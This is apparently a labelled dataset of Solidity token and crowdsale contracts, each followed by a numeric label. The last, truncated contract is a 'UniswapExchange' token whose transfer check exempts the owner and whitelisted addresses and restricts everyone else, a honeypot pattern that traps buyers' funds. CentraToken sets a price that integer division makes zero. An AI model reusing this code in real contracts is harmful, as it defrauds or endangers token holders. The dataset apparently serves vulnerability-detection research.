function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract MOATOKEN is MintableToken,PausableToken,BurnableToken {
string public constant name = "MOA TOKEN";
string public constant symbol = "MOA";
uint8 public constant decimals = 18;
constructor()public {
maxMintQuantity=2100000000000000000000000000;
}
} | 1 | 4,984 |
pragma solidity ^0.4.18;
contract Blockeds {
mapping (address => bool) blocked;
event Blocked(address _addr);
event Unblocked(address _addr);
function blockAddress(address _addr) public {
require(!blocked[_addr]);
blocked[_addr] = true;
Blocked(_addr);
}
function unblockAddress(address _addr) public {
require(blocked[_addr]);
blocked[_addr] = false;
Unblocked(_addr);
}
}
contract Controlled {
modifier onlyController { require(msg.sender == controller); _; }
address public controller;
function Controlled() public { controller = msg.sender;}
function changeController(address _newController) public onlyController {
controller = _newController;
}
}
contract TokenController {
function proxyPayment(address _owner) public payable returns(bool);
function onTransfer(address _from, address _to, uint _amount) public returns(bool);
function onApprove(address _owner, address _spender, uint _amount) public
returns(bool);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public;
}
contract MiniMeToken is Controlled {
string public name;
uint8 public decimals;
string public symbol;
string public version = 'MMT_0.2';
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
MiniMeToken public parentToken;
uint public parentSnapShotBlock;
uint public creationBlock;
mapping (address => Checkpoint[]) balances;
mapping (address => mapping (address => uint256)) allowed;
Checkpoint[] totalSupplyHistory;
bool public transfersEnabled;
MiniMeTokenFactory public tokenFactory;
function MiniMeToken(
address _tokenFactory,
address _parentToken,
uint _parentSnapShotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) public {
tokenFactory = MiniMeTokenFactory(_tokenFactory);
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
parentToken = MiniMeToken(_parentToken);
parentSnapShotBlock = _parentSnapShotBlock;
transfersEnabled = _transfersEnabled;
creationBlock = block.number;
}
function transfer(address _to, uint256 _amount) public returns (bool success) {
require(transfersEnabled);
doTransfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount
) public returns (bool success) {
if (msg.sender != controller) {
require(transfersEnabled);
require(allowed[_from][msg.sender] >= _amount);
allowed[_from][msg.sender] -= _amount;
}
doTransfer(_from, _to, _amount);
return true;
}
function doTransfer(address _from, address _to, uint _amount
) internal {
if (_amount == 0) {
Transfer(_from, _to, _amount);
return;
}
require(parentSnapShotBlock < block.number);
require((_to != 0) && (_to != address(this)));
var previousBalanceFrom = balanceOfAt(_from, block.number);
require(previousBalanceFrom >= _amount);
if (isContract(controller)) {
require(TokenController(controller).onTransfer(_from, _to, _amount));
}
updateValueAtNow(balances[_from], previousBalanceFrom - _amount);
var previousBalanceTo = balanceOfAt(_to, block.number);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(balances[_to], previousBalanceTo + _amount);
Transfer(_from, _to, _amount);
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
function approve(address _spender, uint256 _amount) public returns (bool success) {
require(transfersEnabled);
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
if (isContract(controller)) {
require(TokenController(controller).onApprove(msg.sender, _spender, _amount));
}
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender
) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function approveAndCall(address _spender, uint256 _amount, bytes _extraData
) public returns (bool success) {
require(approve(_spender, _amount));
ApproveAndCallFallBack(_spender).receiveApproval(
msg.sender,
_amount,
this,
_extraData
);
return true;
}
function totalSupply() public constant returns (uint) {
return totalSupplyAt(block.number);
}
function balanceOfAt(address _owner, uint _blockNumber) public constant
returns (uint) {
if ((balances[_owner].length == 0)
|| (balances[_owner][0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupplyAt(uint _blockNumber) public constant returns(uint) {
if ((totalSupplyHistory.length == 0)
|| (totalSupplyHistory[0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function createCloneToken(
string _cloneTokenName,
uint8 _cloneDecimalUnits,
string _cloneTokenSymbol,
uint _snapshotBlock,
bool _transfersEnabled
) public returns(address) {
if (_snapshotBlock == 0) _snapshotBlock = block.number;
MiniMeToken cloneToken = tokenFactory.createCloneToken(
this,
_snapshotBlock,
_cloneTokenName,
_cloneDecimalUnits,
_cloneTokenSymbol,
_transfersEnabled
);
cloneToken.changeController(msg.sender);
NewCloneToken(address(cloneToken), _snapshotBlock);
return address(cloneToken);
}
function generateTokens(address _owner, uint _amount
) public onlyController returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply + _amount >= curTotalSupply);
uint previousBalanceTo = balanceOf(_owner);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_owner], previousBalanceTo + _amount);
Transfer(0, _owner, _amount);
return true;
}
function destroyTokens(address _owner, uint _amount
) onlyController public returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply >= _amount);
uint previousBalanceFrom = balanceOf(_owner);
require(previousBalanceFrom >= _amount);
updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount);
updateValueAtNow(balances[_owner], previousBalanceFrom - _amount);
Transfer(_owner, 0, _amount);
return true;
}
function enableTransfers(bool _transfersEnabled) public onlyController {
transfersEnabled = _transfersEnabled;
}
function getValueAt(Checkpoint[] storage checkpoints, uint _block
) constant internal returns (uint) {
if (checkpoints.length == 0) return 0;
if (_block >= checkpoints[checkpoints.length-1].fromBlock)
return checkpoints[checkpoints.length-1].value;
if (_block < checkpoints[0].fromBlock) return 0;
uint min = 0;
uint max = checkpoints.length-1;
while (max > min) {
uint mid = (max + min + 1)/ 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value
) internal {
if ((checkpoints.length == 0)
|| (checkpoints[checkpoints.length -1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
function isContract(address _addr) constant internal returns(bool) {
uint size;
if (_addr == 0) return false;
assembly {
size := extcodesize(_addr)
}
return size>0;
}
function min(uint a, uint b) pure internal returns (uint) {
return a < b ? a : b;
}
function () public payable {
require(isContract(controller));
require(TokenController(controller).proxyPayment.value(msg.value)(msg.sender));
}
function claimTokens(address _token) public onlyController {
if (_token == 0x0) {
controller.transfer(this.balance);
return;
}
MiniMeToken token = MiniMeToken(_token);
uint balance = token.balanceOf(this);
token.transfer(controller, balance);
ClaimedTokens(_token, controller, balance);
}
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
event Transfer(address indexed _from, address indexed _to, uint256 _amount);
event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _amount
);
}
contract MiniMeTokenFactory {
function createCloneToken(
address _parentToken,
uint _snapshotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) public returns (MiniMeToken) {
MiniMeToken newToken = new MiniMeToken(
this,
_parentToken,
_snapshotBlock,
_tokenName,
_decimalUnits,
_tokenSymbol,
_transfersEnabled
);
newToken.changeController(msg.sender);
return newToken;
}
}
contract RET is MiniMeToken, Blockeds {
bool public sudoEnabled = true;
modifier onlySudoEnabled() {
require(sudoEnabled);
_;
}
modifier onlyNotBlocked(address _addr) {
require(!blocked[_addr]);
_;
}
event SudoEnabled(bool _sudoEnabled);
function RET(address _tokenFactory) MiniMeToken(
_tokenFactory,
0x0,
0,
"Rapide Token",
18,
"RAP",
false
) public {}
function transfer(address _to, uint256 _amount) public onlyNotBlocked(msg.sender) returns (bool success) {
return super.transfer(_to, _amount);
}
function transferFrom(address _from, address _to, uint256 _amount) public onlyNotBlocked(_from) returns (bool success) {
return super.transferFrom(_from, _to, _amount);
}
function generateTokens(address _owner, uint _amount) public onlyController onlySudoEnabled returns (bool) {
return super.generateTokens(_owner, _amount);
}
function destroyTokens(address _owner, uint _amount) public onlyController onlySudoEnabled returns (bool) {
return super.destroyTokens(_owner, _amount);
}
function blockAddress(address _addr) public onlyController onlySudoEnabled {
super.blockAddress(_addr);
}
function unblockAddress(address _addr) public onlyController onlySudoEnabled {
super.unblockAddress(_addr);
}
function enableSudo(bool _sudoEnabled) public onlyController {
sudoEnabled = _sudoEnabled;
SudoEnabled(_sudoEnabled);
}
function generateTokensByList(address[] _owners, uint[] _amounts) public onlyController onlySudoEnabled returns (bool) {
require(_owners.length == _amounts.length);
for(uint i = 0; i < _owners.length; i++) {
generateTokens(_owners[i], _amounts[i]);
}
return true;
}
} | 1 | 5,102 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
assert(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
assert(newOwner != address(0));
owner = newOwner;
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
assert(!halted);
_;
}
modifier onlyInEmergency {
assert(halted);
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert (msg.data.length >= size + 4);
_;
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
assert((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract MintableToken is StandardToken, Ownable {
using SafeMath for uint;
uint256 public mintableSupply;
mapping(address => bool) public mintAgents;
event MintingAgentChanged(address addr, bool state);
function mint(address receiver, uint256 amount) onlyPayloadSize(2 * 32) onlyMintAgent canMint public {
mintableSupply = mintableSupply.sub(amount);
balances[receiver] = balances[receiver].add(amount);
Transfer(0, receiver, amount);
}
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
MintingAgentChanged(addr, state);
}
modifier onlyMintAgent() {
assert (mintAgents[msg.sender]);
_;
}
modifier canMint() {
assert(mintableSupply > 0);
_;
}
modifier onlyPayloadSize(uint size) {
assert (msg.data.length >= size + 4);
_;
}
}
contract ReleasableToken is ERC20, Ownable {
address public releaseAgent;
bool public released = false;
function releaseToken() public onlyReleaseAgent {
released = true;
}
function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public {
releaseAgent = addr;
}
function transfer(address _to, uint _value) inReleaseState(true) returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) inReleaseState(true) returns (bool) {
return super.transferFrom(_from, _to, _value);
}
modifier inReleaseState(bool releaseState) {
assert(releaseState == released);
_;
}
modifier onlyReleaseAgent() {
assert(msg.sender == releaseAgent);
_;
}
}
contract EventChain is ReleasableToken, MintableToken {
string public name = "EventChain";
string public symbol = "EVC";
uint8 public decimals = 18;
function EventChain() {
totalSupply = 84000000 ether;
mintableSupply = totalSupply;
setReleaseAgent(msg.sender);
setMintAgent(msg.sender, true);
}
}
contract EventChainCrowdsale is Haltable {
using SafeMath for uint256;
enum State{Ready, Phase1, Phase2, Phase3, CrowdsaleEnded}
uint256 constant public PHASE2_SUPPLY = 21000000 ether;
uint256 constant public PHASE3_SUPPLY = 22600000 ether;
uint256 constant public PHASE1_RATE = 1140;
uint256 constant public PHASE2_RATE = 920;
uint256 constant public PHASE3_RATE = 800;
uint256 constant public MIN_INVEST = 10 finney;
uint256 constant public BTWO_CLAIM_PERCENT = 3;
EventChain public evc;
address public beneficiary;
address public beneficiaryTwo;
uint256 public totalRaised;
State public currentState;
uint256 public currentRate;
uint256 public currentSupply;
uint256 public currentTotalSupply;
event StateChanged(State from, State to);
event FundsClaimed(address receiver, uint256 claim, string crowdsalePhase);
event InvestmentMade(
address investor,
uint256 weiAmount,
uint256 tokenAmount,
string crowdsalePhase,
bytes calldata
);
function EventChainCrowdsale(EventChain _evc, address _beneficiary, address _beneficiaryTwo) {
assert(address(_evc) != 0x0);
assert(address(_beneficiary) != 0x0);
assert(address(_beneficiaryTwo) != 0x0);
beneficiary = _beneficiary;
beneficiaryTwo = _beneficiaryTwo;
evc = _evc;
}
function() payable onlyWhenCrowdsaleIsOpen stopInEmergency external {
assert(msg.data.length <= 68);
assert(msg.value >= MIN_INVEST);
uint256 tokens = msg.value.mul(currentRate);
currentSupply = currentSupply.sub(tokens);
evc.mint(msg.sender, tokens);
totalRaised = totalRaised.add(msg.value);
InvestmentMade(
msg.sender,
msg.value,
tokens,
currentStateToString(),
msg.data
);
}
function startPhase1() onlyOwner inState(State.Ready) stopInEmergency external {
currentTotalSupply = evc.mintableSupply().sub(PHASE2_SUPPLY).sub(PHASE3_SUPPLY);
currentSupply = currentTotalSupply;
currentRate = PHASE1_RATE;
currentState = State.Phase1;
StateChanged(State.Ready, currentState);
}
function startPhase2() onlyOwner inState(State.Phase1) stopInEmergency external {
phaseClaim();
currentTotalSupply = currentSupply.add(PHASE2_SUPPLY);
currentSupply = currentTotalSupply;
currentRate = PHASE2_RATE;
currentState = State.Phase2;
StateChanged(State.Phase1, currentState);
}
function startPhase3() onlyOwner inState(State.Phase2) stopInEmergency external {
phaseClaim();
currentTotalSupply = currentSupply.add(PHASE3_SUPPLY);
currentSupply = currentTotalSupply;
currentRate = PHASE3_RATE;
currentState = State.Phase3;
StateChanged(State.Phase2, currentState);
}
function endCrowdsale() onlyOwner inState(State.Phase3) stopInEmergency external {
phaseClaim();
currentTotalSupply = 0;
currentSupply = 0;
currentRate = 0;
currentState = State.CrowdsaleEnded;
StateChanged(State.Phase3, currentState);
}
function currentStateToString() constant returns (string) {
if (currentState == State.Ready) {
return "Ready";
} else if (currentState == State.Phase1) {
return "Phase 1";
} else if (currentState == State.Phase2) {
return "Phase 2";
} else if (currentState == State.Phase3) {
return "Phase 3";
} else {
return "Crowdsale ended";
}
}
function phaseClaim() internal {
uint256 beneficiaryTwoClaim = this.balance.div(100).mul(BTWO_CLAIM_PERCENT);
beneficiaryTwo.transfer(beneficiaryTwoClaim);
FundsClaimed(beneficiaryTwo, beneficiaryTwoClaim, currentStateToString());
uint256 beneficiaryClaim = this.balance;
beneficiary.transfer(this.balance);
FundsClaimed(beneficiary, beneficiaryClaim, currentStateToString());
}
modifier inState(State _state) {
assert(currentState == _state);
_;
}
modifier onlyWhenCrowdsaleIsOpen() {
assert(currentState == State.Phase1 || currentState == State.Phase2 || currentState == State.Phase3);
_;
}
} | 1 | 4,836 |
pragma solidity ^0.4.11;
contract ERC20Interface {
function totalSupply() constant returns (uint256 totalSupply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract CentraToken is ERC20Interface {
string public constant symbol = "Centra";
string public constant name = "Centra token";
uint8 public constant decimals = 18;
uint256 public constant maxTokens = 100000000*10**18;
uint256 public constant ownerSupply = maxTokens*32/100;
uint256 _totalSupply = ownerSupply;
uint256 public constant token_price = 1/400*10**18;
uint public constant ico_start = 1501891200;
uint public constant ico_finish = 1507248000;
uint public constant minValuePre = 100*10**18;
uint public constant minValue = 1*10**18;
uint public constant maxValue = 3000*10**18;
uint public constant card_gold_minamount = 30*10**18;
uint public constant card_gold_first = 1000;
mapping(address => uint) cards_gold_check;
address[] public cards_gold;
uint public constant card_black_minamount = 100*10**18;
uint public constant card_black_first = 500;
mapping(address => uint) public cards_black_check;
address[] public cards_black;
uint public constant card_titanium_minamount = 500*10**18;
uint public constant card_titanium_first = 200;
mapping(address => uint) cards_titanium_check;
address[] public cards_titanium;
uint public constant card_blue_minamount = 5/10*10**18;
uint public constant card_blue_first = 100000000;
mapping(address => uint) cards_blue_check;
address[] public cards_blue;
uint public constant card_start_minamount = 1/10*10**18;
uint public constant card_start_first = 100000000;
mapping(address => uint) cards_start_check;
address[] public cards_start;
using SafeMath for uint;
address public owner;
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
function CentraToken() {
owner = msg.sender;
balances[owner] = ownerSupply;
}
function() payable {
tokens_buy();
}
function totalSupply() constant returns (uint256 totalSupply) {
totalSupply = _totalSupply;
}
function withdraw() onlyOwner returns (bool result) {
owner.send(this.balance);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _amount) returns (bool success) {
if(now < ico_start) throw;
if (balances[msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(msg.sender, _to, _amount);
return true;
} else {
return false;
}
}
function transferFrom(
address _from,
address _to,
uint256 _amount
) returns (bool success) {
if(now < ico_start) throw;
if (balances[_from] >= _amount
&& allowed[_from][msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[_from] -= _amount;
allowed[_from][msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(_from, _to, _amount);
return true;
} else {
return false;
}
}
function approve(address _spender, uint256 _amount) returns (bool success) {
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function cards_black_total() constant returns (uint) {
return cards_black.length;
}
function cards_gold_total() constant returns (uint) {
return cards_gold.length;
}
function cards_titanium_total() constant returns (uint) {
return cards_titanium.length;
}
function cards_blue_total() constant returns (uint) {
return cards_blue.length;
}
function cards_start_total() constant returns (uint) {
return cards_start.length;
}
function tokens_buy() payable returns (bool) {
uint tnow = now;
if(tnow > ico_finish) throw;
if(_totalSupply >= maxTokens) throw;
if(!(msg.value >= token_price)) throw;
if(!(msg.value >= minValue)) throw;
if(msg.value > maxValue) throw;
uint tokens_buy = msg.value/token_price*10**18;
if(!(tokens_buy > 0)) throw;
if(tnow < ico_start){
if(!(msg.value >= minValuePre)) throw;
tokens_buy = tokens_buy*125/100;
}
if((ico_start + 86400*0 <= tnow)&&(tnow < ico_start + 86400*2)){
tokens_buy = tokens_buy*120/100;
}
if((ico_start + 86400*2 <= tnow)&&(tnow < ico_start + 86400*7)){
tokens_buy = tokens_buy*110/100;
}
if((ico_start + 86400*7 <= tnow)&&(tnow < ico_start + 86400*14)){
tokens_buy = tokens_buy*105/100;
}
if(_totalSupply.add(tokens_buy) > maxTokens) throw;
_totalSupply = _totalSupply.add(tokens_buy);
balances[msg.sender] = balances[msg.sender].add(tokens_buy);
if((msg.value >= card_gold_minamount)
&&(msg.value < card_black_minamount)
&&(cards_gold.length < card_gold_first)
&&(cards_gold_check[msg.sender] != 1)
) {
cards_gold.push(msg.sender);
cards_gold_check[msg.sender] = 1;
}
if((msg.value >= card_black_minamount)
&&(msg.value < card_titanium_minamount)
&&(cards_black.length < card_black_first)
&&(cards_black_check[msg.sender] != 1)
) {
cards_black.push(msg.sender);
cards_black_check[msg.sender] = 1;
}
if((msg.value >= card_titanium_minamount)
&&(cards_titanium.length < card_titanium_first)
&&(cards_titanium_check[msg.sender] != 1)
) {
cards_titanium.push(msg.sender);
cards_titanium_check[msg.sender] = 1;
}
if((msg.value >= card_blue_minamount)
&&(msg.value < card_gold_minamount)
&&(cards_blue.length < card_blue_first)
&&(cards_blue_check[msg.sender] != 1)
) {
cards_blue.push(msg.sender);
cards_blue_check[msg.sender] = 1;
}
if((msg.value >= card_start_minamount)
&&(msg.value < card_blue_minamount)
&&(cards_start.length < card_start_first)
&&(cards_start_check[msg.sender] != 1)
) {
cards_start.push(msg.sender);
cards_start_check[msg.sender] = 1;
}
return true;
}
}
library SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
} | 0 | 326 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
